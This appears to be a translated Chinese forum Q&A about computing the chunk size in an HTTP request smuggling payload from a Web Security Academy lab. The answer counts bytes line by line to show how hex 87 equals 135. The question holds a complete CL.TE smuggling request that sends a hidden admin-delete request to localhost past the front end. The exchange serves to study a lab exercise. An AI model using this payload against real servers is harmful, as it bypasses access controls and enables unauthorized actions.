问题描述
我没有在 transfer-encoding: chunked 中得到它,大小是如何计算的。谁能解释一下这个块大小?谢谢。
POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-length: 4
transfer-encoding: chunked
87
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
解决方法
在研究 http 请求走私时,我也很难弄清楚如何计算块大小。我发现维基百科中的示例非常有用(https://en.wikipedia.org/wiki/Chunked_transfer_encoding#Example)。
所以让我试着在这里帮助你,因为这对我来说实际上也是一个很好的练习。
87
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
87 是十六进制形式。在十进制形式中,它的值为 135。因此块大小为 135 字节。
然后,对于 87 以下的每一行,我们计算每个字符(假设 1 个字符等于 1 个字节),然后为 CRLF(\r\n
)添加 2 个字节,除了 0
上面的最后一行我们不需要计算尾随的 CRLF。
所以事情是这样的:
GET /admin/delete?username=carlos HTTP/1.1 -> 42 + 2 bytes for \r\n = 44 bytes
Host: localhost -> 15 + 2 = 17 bytes
Content-Type: application/x-www-form-urlencoded -> 47 + 2 = 49 bytes
Content-Length: 15 -> 18 + 2 -> 20 bytes
-> 0 + 2 = 2 bytes
x=1 -> 3 bytes
因此总共有 135 字节的分块数据。
希望这会有所帮助。